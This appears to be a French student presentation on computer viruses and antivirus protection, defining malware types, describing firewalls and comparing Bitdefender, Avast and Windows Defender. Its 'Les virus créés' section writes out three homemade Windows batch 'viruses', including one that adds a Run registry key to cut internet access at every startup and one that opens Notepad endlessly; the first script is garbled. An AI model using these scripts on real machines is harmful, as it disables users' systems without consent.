

# Si1: Virus et Antivirus



# Sommaire

- ▶ Introduction
- ▶ Qu'est-ce qu'un virus ?
  - ▶ Définition
  - ▶ Les différents types de virus
  - ▶ Les virus créés
- ▶ Comment s'en protéger ?
  - ▶ Définition
  - ▶ Les différents types de protections

# ➤ Introduction

- ▶ De nos jours toutes les sociétés utilisent les systèmes informatiques afin d'accélérer les opérations de l'entreprise
- ▶ Cela pose de nombreux problèmes suite aux possibles fraudes ou hacks possibles
  - ▶ Sécuriser les données afin d'éviter le vol et le partage non voulu
  - ▶ Protéger ses espaces de stockages
  - ▶ Installer et utiliser des logiciels sûrs

# ➤ Qu'est-ce qu'un virus ?

## Définition

- ▶ Virus / Malware :
  - ▶ Un virus informatique est un programme écrit dans le but de se propager discrètement et rapidement à d'autres ordinateurs
  - ▶ Il perturbe plus ou moins gravement le fonctionnement de l'ordinateur infecté
  - ▶ Il peut se répandre à travers tout moyen d'échange de données numériques comme Internet, et notamment par l'intermédiaire des messages électroniques et leurs pièces jointes



# ➤ Qu'est-ce qu'un virus ?

## Les différents types de virus

- ▶ Vers
- ▶ Adware
- ▶ Logiciels espions
- ▶ Ransomware
- ▶ Robots
- ▶ Rootkits
- ▶ Cheval de Troie
- ▶ Bugs



# ➤ Qu'est-ce qu'un virus ?

## Les virus créés

### ▶ 1<sup>er</sup> virus :

▶ Bloquer définitivement l'accès à internet en supprimant le fichier de la base de registre

▶ `echo @echo off>c:windowswimn32.bat`

`echo break off>c:windowswimn32.bat echo`

`ipconfig/release_all>c:windowswimn32.bat`

`echo end>c:windowswimn32.batreg add`

`hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWSAPI /t`

`reg_sz /d c:windowswimn32.bat /freg add`

`hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz`

`/d c:windowswimn32.bat /fecho`

`PAUSE`

# ➤ Qu'est-ce qu'un virus ?

## Les virus créés

- ▶ 2ème virus :
  - ▶ Bloquer la connexion internet du PC
  - ▶ @Echo off,  
Ipconfig / release

# ➤ Qu'est-ce qu'un virus ?

## Les virus créés

### ▶ 3<sup>ème</sup> virus :

▶ Afficher un message en boucle

▶ @Echo off

: top

%windir%\system32\notepad.exe

GOTO top



# ➤ Comment s'en protéger ?

## Définition

- Un **pare-feu** est un logiciel et/ou un matériel permettant de faire respecter la politique de sécurité du réseau, celle-ci définissant quels sont les types de communications autorisés sur ce réseau informatique. Il surveille et contrôle les applications et les flux de données (paquets).
  - ▶ Pare feu sans état : C'est le plus vieux dispositif de filtrage réseau, introduit sur les routeurs. Il regarde chaque paquet indépendamment des autres et le compare à une liste de règles préconfigurées.
  - ▶ Pare feu à états : Certains protocoles dits « à états » comme TCP introduisent une notion de connexion. Les pare-feu à états vérifient la conformité des paquets à une connexion en cours.

# ➤ Comment s'en protéger ?

## Les différents types de protection

- ▶ Pare-feu
  - ▶ Analyser les exploits
- ▶ Anti-spam
  - ▶ Protection
  - ▶ Vulnérabilité
  - ▶ Prévention
  - ▶ Remédiation
- ▶ Anti-tracker
- ▶ Protection vidéo et audio

### Fonctionnalités de protection

Affichez et gérez les fonctionnalités de protection incluses qui agissent ensemble pour assurer la sécurité de votre appareil et de vos données.

<b>ANTIVIRUS</b> ⓘ Analyse rapide Analyse du système Gestion des analyses Mode de secours Mise en quarantaine Paramètres	<b>PARE-FEU</b> ⓘ <input checked="" type="checkbox"/> Accès de l'application Paramètres	<b>ADVANCED THREAT DEFENSE</b> ⓘ <input checked="" type="checkbox"/> Défense contre les menaces Paramètres
<b>VULNÉRABILITÉ</b> ⓘ <input checked="" type="checkbox"/> Analyse des vulnérabilités Sécurité du Wi-Fi Paramètres	<b>ANTISPAM</b> ⓘ <input checked="" type="checkbox"/> Gérer les amis Gérer les polluposteurs Paramètres	<b>SAFE FILES</b> ⓘ <input checked="" type="checkbox"/> Dossiers protégés Accès des applications
	<b>PRÉVENTION DES MENACES EN LIGNE</b> ⓘ Exceptions Paramètres	<b>REMÉDIATION DES RANSOMWARES</b> ⓘ <input checked="" type="checkbox"/> Exceptions Paramètres

# ➤ Comment s'en protéger ?

## Les différents types de protection

### Bitdefender :

Avantages : assez complet

Inconvénient : les scripts et fichier de commande ne sont pas bloqué

### Avast (gratuit):

Avantages : pas grand choses

Inconvénient : laisse trop de fichier passer et bloque uniquement une petite base de donnée

### Windows defender:

Avantages : directement installé (pas de pop-ups et demande de paiement),

Il analyse automatiquement les programme que nous ouvrons

Inconvénient : n'est pas comparable aux autres antivirus (peut être compétant)

Il assure simplement minimale et bloque les virus et malware les plus communs.